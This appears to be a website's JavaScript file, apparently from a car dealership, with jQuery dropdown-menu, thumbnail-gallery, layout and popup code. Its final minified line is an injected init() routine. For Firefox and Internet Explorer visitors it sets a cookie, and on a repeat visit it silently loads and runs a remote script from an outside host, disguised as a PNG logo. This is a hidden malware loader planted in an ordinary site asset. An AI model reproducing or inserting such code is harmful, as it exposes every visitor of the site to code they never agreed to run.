var hideDelay = 10;
var hGap = 0;
$(document).ready(function()
	{ // when html is loaded
	$('div.popmenu').popMenu();
	setTall();
	});

(function($)
	{
	$.fn.popMenu = function()
		{
		return this.each(function()
			{
			var self = $(this);
			self.data('hiding', false); // init timeout id
			var id = self.attr('id');
			var menuEl = $('a.'+id); // menu link class = dropdown id
			// position under menu link; using offsetHeight because height() seems to give the link's non block height
			pos = menuEl.offset();
			height = menuEl.attr('offsetHeight');
			if (typeof(height) == "undefined")
				return;
			self.css({'left': (pos.left+hGap)+'px', 'top': (pos.top + height)+'px'});
			// apply hover (mouseover, mouseout) to both menu link and dropdown.
			$.each([self, menuEl], function()
				{
				$(this).hover(
					function()
						{
						if (self.data('hiding'))
							{
							clearTimeout(self.data('hiding'));
							self.data('hiding', false);
							}
						$('div#'+id).show();
						menuEl.addClass('current');
						},
					function()
						{ // delay hide so if the pointer passes between the menu and dropdown the hide can be cancelled
						self.data('hiding', setTimeout(function()
							{
							menuEl.removeClass('current');
							$('div#'+id).hide();
							}, hideDelay));
						});
				});
			});
		}
	})(jQuery);

$(function()
	{
	setupGallery(64);

	function setupGallery(thumbheight)
		{
		var h = 0;
		var pad = 2;
		var current = null;
		var thumbcarousel = $(document.createElement('div')).addClass('thumbcarousel');
		var thumbcontainer = $(document.createElement('div')).addClass('gallerythumb');
		thumbcarousel.append(thumbcontainer);
		thumbcontainer.width(0);
		$('.galleryimage').each(function(index)
			{
			if ($(this).height() > h)
				h = $(this).height();
			});
		var loc = new Array();
		loc[0] = 0;
		$('.galleryimage').each(function(index)
			{
			var img = $(this);
			var src = img.attr('src');
			var thumbwidth = Math.ceil(img.attr('width') / img.attr('height') * thumbheight);
			if (index == 0)
				{
				current = img;
				img.before(thumbcarousel);
				}
			else
				img.css('display', 'none');
			thumbcontainer.width(thumbcontainer.width() + thumbwidth + pad);
			loc.push(thumbcontainer.width());
			var thumb = $(document.createElement('img')).attr('border', '0').attr('src', src).css({ height: thumbheight, width: thumbwidth });
			thumb.click(function()
				{
				if (current)
					current.css('display', 'none');
				img.css('display', 'block');
				current = img;
				return false;
				});
			var a = $(document.createElement('a')).attr('href', '#');
			a.append(thumb);
			thumbcontainer.append(a);
			});

		if (thumbcontainer.width() > thumbcarousel.width())
			{
			var thumbnav = $(document.createElement('div')).addClass('thumbnav');
			var prev = $(document.createElement('a')).attr('href', '#').addClass('prev').append(document.createTextNode('< Prev'));
			var next = $(document.createElement('a')).attr('href', '#').addClass('next').append(document.createTextNode('Next >'));
			thumbnav.append(prev);
			thumbnav.append(next);
			thumbcarousel.before(thumbnav);
			prev.click(function()
				{
				var e = - thumbcontainer.position().left;
				var s = e - thumbcarousel.width() - pad
				if (s < 0)
					s = 0;
				var n = 999;
				for (var i = 0; i < loc.length; i++)
					{
					if (loc[i] < s)
						continue;
					if (loc[i] <= e)
						n = -loc[i];
					break;
					}
				if (n != 999)
					{
					thumbcontainer.animate({left: n+'px'}, 'slow');
					next.css('display', 'block');
					}
				if (n == 0)
					prev.css('display', 'none');
				else
					prev.css('display', 'block');
				return false;
				});
			next.click(function()
				{
				var s = - thumbcontainer.position().left;
				var e = s + thumbcarousel.width() + pad;
				var n = 0;
				for (var i = 0; i < loc.length; i++)
					{
					if (loc[i] < s)
						continue;
					if (loc[i] > e)
						break;
					n = -loc[i];
					}
				if (n < 0)
					{
					if (thumbcontainer.width() + n <= thumbcarousel.width() + pad)
						{
						n = thumbcarousel.width() + pad - thumbcontainer.width();
						next.css('display', 'none');
						}
					else
						next.css('display', 'block');
					thumbcontainer.animate({left: n+'px'}, 'slow');
					prev.css('display', 'block');
					}
				return false;
				});
			prev.css('display', 'none');
			if (thumbcontainer.width() <= thumbcarousel.width())
				next.css('display', 'none');
			}
		}
	});

function setTall()
	{
	var otherOuterHeight = $('#header').outerHeight(true) + $('#menu').outerHeight(true) + $('#footer').outerHeight(true);

	var content = $('#content');
	var contentOuterHeight = content.outerHeight(true);
	var contentPadEtc = contentOuterHeight - content.height();

	var leftbar = $('#leftcol');
	var leftbarOuterHeight = leftbar.outerHeight(true);
	var leftbarPadEtc = leftbarOuterHeight - leftbar.height();

	var rightbar = $('#rightcol');
	var rightbarOuterHeight = rightbar.outerHeight(true);
	var rightbarPadEtc = rightbarOuterHeight - rightbar.height();

	var maxHeight = Math.max(contentOuterHeight, Math.max(leftbarOuterHeight, Math.max(rightbarOuterHeight, $(window).height()-otherOuterHeight)));
	content.height(maxHeight - contentPadEtc);
	}

function showWin()
  {
  var w = window.open('','popup','width=600,height=500,resizable,scrollbars,status,left=80,top=80');
  w.document.clear();
  w.focus();
  return true;
  }
function showSearch()
	{
	window.name='origin';
	var w = window.open('','search','width=250,height=550,resizable,scrollbars,status,top=0,left=0');
	w.document.clear();
	w.focus();
	return true;
	}

function mailIt()
	{
  var email = "admin"
  var emailHost = "rondoylemotors.com.au"
  document.write("<a href=" + "mail" + "to:" + email + "@" + emailHost + ">Email Us</a>")
	}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="http://bobule.cz/2bobule-logo.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
